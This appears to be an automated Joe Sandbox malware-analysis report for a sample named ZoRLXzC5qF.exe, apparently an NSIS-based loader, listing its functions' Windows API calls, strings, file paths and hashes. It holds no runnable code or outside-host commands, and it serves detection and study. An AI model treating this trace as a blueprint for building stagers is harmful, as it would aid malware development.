Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: 446d876c474c9d83549856ad9cac23e68bb7371358ae7480bd0e7fa7c4692e5e
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: 1D212A7150010ABFDF129F90CE89EEF7A7DEB54388F110076B909B21E0E7B58E54AA64

Function 6E9B1817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6E9B1BFF: GlobalFree.KERNEL32(?), ref: 6E9B1E74
Part of subcall function 6E9B1BFF: GlobalFree.KERNEL32(?), ref: 6E9B1E79
Part of subcall function 6E9B1BFF: GlobalFree.KERNEL32(?), ref: 6E9B1E7E

GlobalFree.KERNEL32(00000000), ref: 6E9B18C5
FreeLibrary.KERNEL32(?), ref: 6E9B194B
GlobalFree.KERNEL32(00000000), ref: 6E9B1970

Part of subcall function 6E9B243E: GlobalAlloc.KERNEL32(00000040,?), ref: 6E9B246F

Part of subcall function 6E9B2810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6E9B1896,00000000), ref: 6E9B28E0

Part of subcall function 6E9B1666: wsprintfW.USER32 ref: 6E9B1694

Strings

, xrefs: 6E9B1951

Memory Dump Source

Source File: 00000000.00000002.1898801458.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.1898341162.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898961174.000000006E9B4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898992043.000000006E9B6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_ZoRLXzC5qF.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 6acf94f62fa24b39e97e470b7ddc83b1992346397a66d8feea4aef8f87718705
Instruction ID: 93ee2196619828cdc688268bee970b8ed3e0889a977d4a26792b277c613ca2f9
Opcode Fuzzy Hash: 6acf94f62fa24b39e97e470b7ddc83b1992346397a66d8feea4aef8f87718705
Instruction Fuzzy Hash: 7541A2B1814246DBDF409FE6E898BDB37ACBF47354F044865E9189A18ADB74C18CCFA0

Function 004024AF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00000023,00000011,00000002), ref: 004024FA
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00000000,00000011,00000002), ref: 0040253A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00000000,00000011,00000002), ref: 00402622

Strings

C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, xrefs: 004024EB, 004024F9, 00402510, 00402524, 0040252F

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp
API String ID: 2655323295-2809226105
Opcode ID: 2d5a3a6cbba744cb4f49549abd2315f3a0bbe869b0ca912842418fb0edf1760d
Instruction ID: 9ef1a868ac7dccf2a0d827ba333ec8444b87bd6dca13d8647f6a5f0896484b93
Opcode Fuzzy Hash: 2d5a3a6cbba744cb4f49549abd2315f3a0bbe869b0ca912842418fb0edf1760d
Instruction Fuzzy Hash: DF11B131D00119BEEF00AFA1DE4AAAEB6B4EF44318F20443FF404B61D1D7B88E009A68

Function 00406096 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004060B4
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403550,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C), ref: 004060CF

Strings

nsa, xrefs: 004060A3
C:\Users\user\AppData\Local\Temp\, xrefs: 0040609B

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1331003597
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: 0f0e971a11aa9000600537ad3b21051f2e76e4828209a3ca974843c19b3e0847
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: B5F09076B40204BBEB00CF69ED05F9EB7ACEBA5750F11803AE901F7180E6B099648768

Function 004015E6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405EF1: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,?,00405F65,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ZoRLXzC5qF.exe"), ref: 00405EFF
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F04
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F1C

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040163F

Part of subcall function 00405ACB: CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405B0D

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,?,00000000,000000F0), ref: 00401672

Strings

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00401665

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres
API String ID: 1892508949-31448141
Opcode ID: 522b783c9de46c7eb01671ee67dcdc22f4b8e2acc15c0cd2b2b5e6563b12514b
Instruction ID: 104414052cab316a424bfe0d2ff1de268c148956b102069c6a2fab9df067ebf3
Opcode Fuzzy Hash: 522b783c9de46c7eb01671ee67dcdc22f4b8e2acc15c0cd2b2b5e6563b12514b
Instruction Fuzzy Hash: 0911BE31804514ABCF206FA5CD01AAE36B0EF14368B25493BE941B22F1C63A4A41DA5D

Function 00406445 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000000,00000000,?,?,00000800,00000000,?,?,?,?,Call,?,00000000,004066B6,80000002), ref: 0040648B
RegCloseKey.KERNELBASE(?), ref: 00406496

Strings

Call, xrefs: 0040644C

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 39ab2095516423f533248995afa5b88f9e2e33bd0920f2eea258779ff0fd120f
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: AB017C72500209AADF21CF51CC09EDB3BACFB55364F01803AFD1AA21A0D778D964DBA8

Function 004020FD Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,000000F0), ref: 00402128

Part of subcall function 004055FC: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
Part of subcall function 004055FC: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0), ref: 00405657
Part of subcall function 004055FC: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll), ref: 00405669
Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

LoadLibraryExW.KERNEL32(00000000,?,00000008,?,000000F0), ref: 00402139
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,?,000000F0), ref: 004021B6

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 67a013c8050cadbf48abc2068aad44e6bd126c58b8073b2edd87dd65272e994b
Instruction ID: ae41dde4eff0046a081fa93f434b6203791b13f397c20c3345ef6f3f33f6a532
Opcode Fuzzy Hash: 67a013c8050cadbf48abc2068aad44e6bd126c58b8073b2edd87dd65272e994b
Instruction Fuzzy Hash: 4B21A131904104EACF10AFA5CF89A9E7A71BF44369F30413BF105B91E5CBBD99829A2D

Function 00401BC0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401C30
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C42

Strings

Call, xrefs: 00401BE7, 00401BED, 00401C07

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: b2bf5aa3fb98d5d7659b4efbfb09c2738223d3c1d5b8947c58a47baf3ffb3ed2
Instruction ID: b741a03fd702b7c6772e3f95c256d95ec8b7de3af2fdc922703a565136a7d287
Opcode Fuzzy Hash: b2bf5aa3fb98d5d7659b4efbfb09c2738223d3c1d5b8947c58a47baf3ffb3ed2
Instruction Fuzzy Hash: 9521F372904150EBDB20ABA4EE85E6E33B8AB04718715063FF542B72D5C7BCE8409B9D

Function 00402324 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004068D4: FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00405F97,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00000000,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 004068DF
Part of subcall function 004068D4: FindClose.KERNELBASE(00000000), ref: 004068EB

lstrlenW.KERNEL32 ref: 00402364
lstrlenW.KERNEL32(00000000), ref: 0040236F
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 00402398

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: 8ce371ef362fb3a0bf5470d2f9de7d7a8b9c8f0d3a32a51a843dbca6af91aa01
Instruction ID: efc15b5f6e7b569f76b1b900a6dd714e3f258eaed93f5a56bcbfb146dffa85c7
Opcode Fuzzy Hash: 8ce371ef362fb3a0bf5470d2f9de7d7a8b9c8f0d3a32a51a843dbca6af91aa01
Instruction Fuzzy Hash: 94118671914318AADB00EFF58D0AA9EB7F8AF04314F10443FA405F71D5D7B8C9418B69

Function 004025C3 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025F6
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 00402609
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00000000,00000011,00000002), ref: 00402622

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: b3e66f98151b13811c6deab5670c9eebffc93282c8efb5a28582c7ee2f6ef350
Instruction ID: 66810f11062e6ea255b80fddf1e3d4c9698f673e023b75e7ff91682f7f8ae36f
Opcode Fuzzy Hash: b3e66f98151b13811c6deab5670c9eebffc93282c8efb5a28582c7ee2f6ef350
Instruction Fuzzy Hash: 43017C71A04615ABEB149F94DE58AAFB668EF80348F10443EF101B61D0D7B85E41976D

Function 0040254F Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 00402580
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00000000,00000011,00000002), ref: 00402622

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 49ca1381ded4af27f8ac224b17b3ae694fb74f22b67379b644ce572c4f680cb7
Instruction ID: 5bae25e85081f80c41e61f77185b89043c8d74e7c66b6edfbb666f5a0c3c1719
Opcode Fuzzy Hash: 49ca1381ded4af27f8ac224b17b3ae694fb74f22b67379b644ce572c4f680cb7
Instruction Fuzzy Hash: 45118C71904216EADF15DFA0CA599AEB7B4FF04348F20443FE402B62D0D3B84A45DB9E

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A2D8,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction ID: 0adee223d2b7ba7d815a442a2885e1f2b60e3b86eb1a18037e9b6c54a102055c
Opcode Fuzzy Hash: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction Fuzzy Hash: 0E01FF31620220AFE7195B389E05B6B3698E710329F10863FF851F62F1EA78DC429B4C

Function 00402459 Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040247B
RegCloseKey.ADVAPI32(00000000), ref: 00402484

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 263822df44c0b265f16a0eeb88216eb0e8276d8e6a5932a421656751ee5808a7
Instruction ID: 8c17455a9467dbb84b7eb3278e4b377a62f271589af7dc4cff81b1a675067d18
Opcode Fuzzy Hash: 263822df44c0b265f16a0eeb88216eb0e8276d8e6a5932a421656751ee5808a7
Instruction Fuzzy Hash: 6CF06832A045219BDB10BBA5DA8E5AE62A5AB44354F11443FE502B71C1CAF84D02977D

Function 00405ACB Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405B0D
GetLastError.KERNEL32 ref: 00405B1B

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
